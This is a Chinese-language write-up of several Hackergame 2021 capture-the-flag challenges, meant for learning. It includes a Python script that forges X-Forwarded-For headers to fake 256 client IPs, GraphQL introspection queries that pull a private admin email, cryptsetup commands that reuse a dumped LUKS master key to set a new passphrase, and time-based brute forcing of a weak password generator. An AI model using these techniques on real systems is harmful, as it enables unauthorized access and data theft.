Hackergame 2021 (第八届中科大信安赛) Writeup 0x00
Hackergame 2021 writeup 0x00
又是一年签到题,每年整活最多的也就是他们了,今年又整了哪些好活呢……你这题保熟吗 (~ ̄▽ ̄)~
此篇中我选取了我认为较为简单的题目进行梳理,让我们开始吧!
签到
为了能让大家顺利签到,命题组把每一秒的 flag 都记录下来制成了日记本的一页。你只需要打开日记,翻到 Hackergame 2021 比赛进行期间的任何一页就能得到 flag!
从1970-01-01 08:00 +08:00
开始,自然想到了这就是时间戳啊,于是直接搜索时间戳,作为请求参数提交,得到 flag。
flag{HappyHacking2021-610073ec3b}
进制十六——参上
为严防 flag 泄漏以及其他存在于未来所有可能的意外灾难,神通广大的 Z 同学不仅强制要求每一道题目都加上权限和资源的限制,还给所有参与 Hackergame 2021 命题的计算机施加了一层法术结界。任何试图从结界逃逸的 flag 都会被无情抹除。
而一位明面上是计算机学院的新生,实则为物理学院暗部核心成员的 X 同学,在 Hackergame 2021 命题组已经潜伏多时。妄想趁比赛开始的午时,借阳火正旺之势,冲破 Z 同学的结界,以图片而非明文的形式,将 flag 悄悄传递出来。
好在 Z 同学法力之深厚,不可管窥蠡测。在 flag 被传出去的前两天,就已预知此事并将图片中的 flag 无声消泯了。
只是,这位 X 同学,虽然不会退出 Vim,但是似乎对打开十六进制编辑器颇有造诣……
直接把十六进制转为字符即可,相关的工具可谓数不胜数,可以用Cyberchef
,也可以直接输入 python…
bytes.fromhex('666c61677b5930555f5348305531445f6b6e30775f4830575f74305f43306e763372745f4845585f746f5f546578547d')
flag{Y0U_SH0U1D_kn0w_H0W_t0_C0nv3rt_HEX_to_TexT}
去吧!追寻自由的电波
(前情提要) 为了打破 Z 同学布下的结界,X 同学偷偷搬出社团的业余无线电台试图向外界通讯。
当然,如果只是这样还远远不够。遵依史称“老爹”的上古先贤的至理名言,必须要“用魔法打败魔法”。X 同学向上级申请到了科大西区同步辐射实验室设备的使用权限,以此打通次元空间,借助到另一个平行宇宙中 Z 同学的法力进行数据对冲,方才于乱中搏得一丝机会,将 flag 用无线电的形式发射了出去。
考虑到信息的鲁棒性,X 同学使用了无线电中惯用的方法来区分字符串中读音相近的字母。即使如此,打破次元的强大能量扭曲了时空,使得最终接受到的录音的速度有所改变。
为了保障同步辐射设备的持续运转,组织牺牲了大量的能源,甚至以东北部分地区无计划限电为代价,把这份沉甸甸的录音文件送到了你的手上。而刚刚起床没多久,试图抢签到题一血还失败了的你,可以不辜负同学们对你的殷切期望吗?
注:flag 花括号内只包含小写字母。
原始音频:
很明显是需要我们进行速度上的操作了,最开始改变速度之后依旧很难听清,直到我有一次手滑,把“保持原有音调”的选择取消勾选了,才得到真正的清晰的音频……orz
在网上搜一下无线电的字母对应的读音,在音频转换正确的情况下很快就能得到 flag 了。
flag{phoneticab}
猫咪问答 Pro Max
我猛然一看,就猛然看到这个猫咪问答,我直呼我直呼,上次看到这么这么的发言还是上次,这问答属于是典型的典型了,我之前还没发现,当我发现的时候我已经发现了,这问答就像一个问答,问答的内容充满了内容,我不禁感慨了一句感慨:希望下次看到这么这么的猫咪问答是下次。
2017 年,中科大信息安全俱乐部(SEC@USTC)并入中科大 Linux 用户协会(USTCLUG)。目前,信息安全俱乐部的域名(sec.ustc.edu.cn)已经无法访问,但你能找到信息安全俱乐部的社团章程在哪一天的会员代表大会上通过的吗?
Ref: https://web.archive.org/web/20181004003308/http://sec.ustc.edu.cn/doku.php/codes
20150504
中国科学技术大学 Linux 用户协会在近五年多少次被评为校五星级社团?
Ref: https://lug.ustc.edu.cn/wiki/intro/
5
中国科学技术大学 Linux 用户协会位于西区图书馆的活动室门口的牌子上“LUG @ USTC”下方的小字是?
Ref: new-activity-room-in-west-library/
Development Team of Library
在 SIGBOVIK 2021 的一篇关于二进制 Newcomb-Benford 定律的论文中,作者一共展示了多少个数据集对其理论结果进行验证?
Ref: Proceedings.pdf 210页
13
不严格遵循协议规范的操作着实令人生厌,好在 IETF 于 2021 年成立了 Protocol Police 以监督并惩戒所有违背 RFC 文档的行为个体。假如你发现了某位同学可能违反了协议规范,根据 Protocol Police 相关文档中规定的举报方法,你应该将你的举报信发往何处?
**Ref:** [RFC8962](https://www.rfc-editor.org/rfc/rfc8962.html)
/dev/null
flag{8804d9f3_91d5f62ebd}
卖瓜
HQ:哥们,这瓜多少钱一斤啊?
你:两块钱一斤。
HQ:What’s up!这瓜皮子是金子做的还是瓜粒子是金子做的?
你:你瞧瞧现在哪有瓜啊?这都是大棚的瓜,只有 6 斤一个和 9 斤一个的,你嫌贵我还嫌贵呢。
(HQ 心里默默一算)
HQ:给我来 20 斤的瓜。
你:行!
HQ:行?这瓜能称出 20 斤吗?
你:我开水果摊的,还不会称重?
HQ:我问你这瓜能称出 20 斤吗?
你:你是故意找茬,是不是?你要不要吧!
HQ:你这瓜要是刚好 20 斤吗我肯定要啊。那它要是没有怎么办啊?
你:要是不是 20 斤,我自己吃了它,满意了吧?
(你开始选瓜称重)
补充说明:当称的数字变为浮点数而不是整数时,HQ 不会认可最终的称重结果。
卖瓜啊,给我来个2323232323223222332323231
个九斤的瓜和346669
个六斤的瓜!
欸,你这称怎么成负数了?成了-9223372036852695040
斤!
不过更好了,因为……
9223372036852695040 + 20 == 1024819115205855006 * 9 + 6
所以,给我再来1024819115205855006
个九斤的瓜和一个六斤的就行了!
……
以上便是这道题目众多的解法之一,一个很简单的整型溢出问题,通过加一个大整数到一个很小的负数,再进行补全到二十,刚开始做的时候直接飙到1e21
的大小去,直接变成浮点数,就算是回来了依旧无法通过。后面才上了那个提示。如果你要说这个数字是怎么来的……很简单……随便试出来的……
flag{HUAQIANG!HUAQIANG!_2d21ca2ada}
透明的文件
一个透明的文件,用于在终端中展示一个五颜六色的 flag。
可能是在 cmd.exe 等劣质终端中被长期使用的原因,这个文件失去了一些重要成分,变成了一堆乱码,也不会再显示出 flag 了。
注意:flag 内部的字符全部为小写字母。
之前在做 nc-docker
的时候希望在终端通过 echo
输出带有颜色的文本,于是学习过一些基本的操作,比如 echo '\e[32ma'
将会输出一个绿色的 a
,于是类似地,对文本中的部分字符进行替换,之后再删除末尾的换行符号,得到一个新的文件。
相关详细内容请参见:ANS escape code
将空格替换为可见字符,之后执行:
clear && ./transparent.bash
就可以得到这一的图片了:
flag{abxnniohkalmcowsayfiglet}
旅行照片
你的学长决定来一场说走就走的旅行。通过他发给你的照片来看,他应该是在酒店住下了。
从照片来看,酒店似乎在小区的一栋高楼里,附近还有一家 KFC 分店。突然,你意识到照片里透露出来的信息比表面上看起来的要多。
请观察照片并答对全部 5 道题以获取 flag。注意:图片未在其他地方公开发布过,也未采取任何隐写措施(通过手机拍摄屏幕亦可答题)。
一道比较好玩做出来的同学也很多的社工题。或许你可以试着自己再去寻找一下答案,试试什么”网红打卡地“,”蓝色 KFC“等等关键词语,可以找到大概的一些资料,小红书是个不错的搜集这种信息的地方。
地名也给出 —— 秦皇岛新澳海底世界
Q1: 该照片拍摄者的面朝方向为 东南
根据地图上可以搜到的相关信息,进行对比可得。Q2: 该照片的拍摄时间大致为 傍晚
根据光温以及影子的长度,可以确定不是其他选项。Q3: 该照片的拍摄者所在楼层为 14
反正我一直以为是 13 来着(Q4: 该照片左上角 KFC 分店的电话号码是 0335-7168800
知道位置了一搜便知~Q5: 该照片左上角 KFC 分店左侧建筑有三个水平排列的汉字,它们是 海豚馆
本来一直以为是”游泳馆“之类,找了半天照片偶然发现是”海豚馆“(其实直接搜索就能获取到”海豚馆边上“这条信息的)
flag{D0n7-5hare-ph0t05-ca5ua11y}
FLAG 助力大红包
“听说没?【大砍刀】平台又双叒做活动啦!参与活动就送 0.5 个 flag 呢,攒满 1 个 flag 即可免费提取!”
“还有这么好的事情?我也要参加!”
“快点吧!我已经拿到 flag 了呢!再不参加 flag 就要发完了呢。”
“那怎么才能参加呢?”
“这还不简单!点击下面的链接就行”
由于限制了/8
地址只能一次,合理推测这东西是需要 256 次助力了,前端的 ip
是直接写在 POST
数据里,后端的 ip
呢?
如果用过反向代理的或者有所耳闻的话,都会知道在通过反代层的时候,反代服务器如 nginx
为了使得后端应用可以获取到用户端的 ip
,会将其作为 X-Forwarded-For
请求头传入,我们可以更改然后直接利用这一请求头实现 ip
伪造。
url = 'http://202.38.93.111:10888/invite/cdba718d-61c2-422f-a7fe-70b7388c299a'
import requests
from hashlib import sha256
from tqdm import tqdm
import time
bar = tqdm(range(256))
for i in bar:
while True:
r = requests.post(url, {'ip': f'{i}.0.0.0'},
headers={'X-Forwarded-For':f'{i}.0.0.0'})
time.sleep(1)
if '成功' in r.text or '重复' in r.text:
break
bar.set_description(f'succ {i}' if '成功' in r.text else f'fail {i}')
flag{r3d-enve10p3-edcf88e9b1}
图之上的信息
小 T 听说 GraphQL 是一种特别的 API 设计模式,也是 RESTful API 的有力竞争者,所以他写了个小网站来实验这项技术。
你能通过这个全新的接口,获取到没有公开出来的管理员的邮箱地址吗?
在这里你可以看到有关于这一 API 设计内省的相关文档。从中可知,你可以通过__schema
和__type
等字段获取支持的请求信息。
POST http://IP:PROT/graphql HTTP/1.1
Connection: keep-alive
Content-Length: 99
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
{"query":"{__schema{types{name}}\n__type(name: \"GUser\"){name\nfields{name}}}"}
HTTP/1.1 200 OK
Server: nginx/1.21.1
Date: Sat, 30 Oct 2021 14:32:44 GMT
Content-Type: application/json
Content-Length: 411
Connection: keep-alive
Vary: Cookie
{"data":{"__schema":{"types":[{"name":"Query"},{"name":"GNote"},{"name":"Int"},{"name":"String"},{"name":"GUser"},{"name":"Boolean"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]},"__type":{"name":"GUser","fields":[{"name":"id"},{"name":"username"},{"name":"privateEmail"}]}}}
再一次请求时,我们知道了邮箱的字段名,就可以使用{user(id: 1){id\nusername\nprivateEmail}}
进行约束和获取结果了。
{
"data": {
"user": {
"id": 1,
"username": "admin",
"privateEmail": "flag{[email protected]}"
}
}
}
flag{[email protected]}
加密的 U 盘
这是一个关于 LUKS (Linux Unified Key Setup) 的故事。
第一天
小 T:「你要的随机过程的课件我帮你拷好了,在这个 U 盘里,LUKS 加密的密码是 suijiguocheng123123
。」
小 Z:「啊,你又搞了 Linux 文件系统加密,真拿你没办法。我现在不方便用 Linux,我直接把这块盘做成磁盘镜像文件再回去处理吧。」
第二天
小 Z:「谢谢你昨天帮我拷的课件。你每次都搞这个加密,它真的安全吗?」
小 T:「当然了!你看,你还给我之后,我已经把这块盘的弱密码改掉了,现在是随机生成的强密码,这样除了我自己,世界上任何人都无法解密它了。」
小 Z:「我可不信。」
小 T:「你不信?你看,我现在往 U 盘里放一个 flag 文件,然后这个 U 盘就给你了,你绝对解密不出来这个文件的内容。当初搞 LUKS 的时候我可研究了好几天,班上可没人比我更懂加密!」
LUKS加密时,加解密使用的真正密钥并不是用户输入的密钥,用户输入的密钥只不过是 passphrase
,它的作用是解密真正的密钥 master-key
。
由于两块是同一块硬盘,应当具有相同的 master-key
,因此我们先将第一块盘解密挂载,获取 master-key
:
$ sudo cryptsetup luksDump --dump-master-key /dev/loop15p1
LUKS header information for /dev/loop15p1
Cipher name: aes
Cipher mode: xts-plain64
Payload offset: 32768
UUID: e9a660d5-4a91-4dca-bda5-3f6a49eea998
MK bits: 512
MK dump: be 97 db 91 5c 30 47 ce 1c 59 c5 c0 8c 75 3c 40
72 35 85 9d fe 49 c0 52 c4 f5 26 60 af 3e d4 2c
ec a3 60 53 aa 96 70 4d f3 f2 ff 56 8f 49 a1 82
60 18 7c 58 d7 6a ec e8 00 c1 90 c1 88 43 f8 9a
将master-key
存储为二进制文件,可以使用xxd
或者Cyberchef
、python等工具。
如果直接用 cryptsetup
对第二天的文件操作是行不通的,因为他被打包了,可以先使用 7z -e
解压缩,之后再进行操作:
之后就可以直接更改密码了:
cryptsetup luksAddKey "My Disk.img" --master-key-file <(cat key.bin)
再拖入ubuntu
直接输入新密码就可以解锁成功了。
Ref:
- how-to-find-the-encrypted-master-key-in-luks-header
- change-password-on-a-luks-filesystem-without-knowing-the-password
flag{changing_Pa55w0rD_d0esNot_ChangE_Luk5_ma5ter_key}
密码生成器
小 T 最近又写了一个 web 应用。
他发现很多用户都喜欢设置弱密码,于是决定让所有用户的密码都必须是 16 位长,并且各种符号都要有。为了让大家可以方便生成这样的密码,他还写了一个密码生成器,让用户可以生成符合规则的密码。
但这样果真安全吗?
这道题分值还挺高的,但其实我觉得当作一个信息搜集题目也未尝不可……
可以在登录页面下载到一个密码生成器,试图逆向发现一言难尽,所以在想既然一次生成都需要几秒钟,那么合理考虑是能够在注册时间前一两分钟一直生成密码试验,最后获取到结果的。
于是更改系统时间,从2021-09-22 23:10
开始尝试,很快就得到了一个密码:$Z=CBDL7TjHu~mEX
……所以何必做逆向呢(逃
不过话说回来,安全的密钥生成器是需要足够的熵的,比如ssh
生成密钥的时候会将你随机的键盘输入和鼠标输入收集起来,作为熵来一起计算生成你的密钥。这样才能保证安全(
flag{u5e_crypt0graph1ca1ly_secure_PRNG_plz_7486fbe9ef}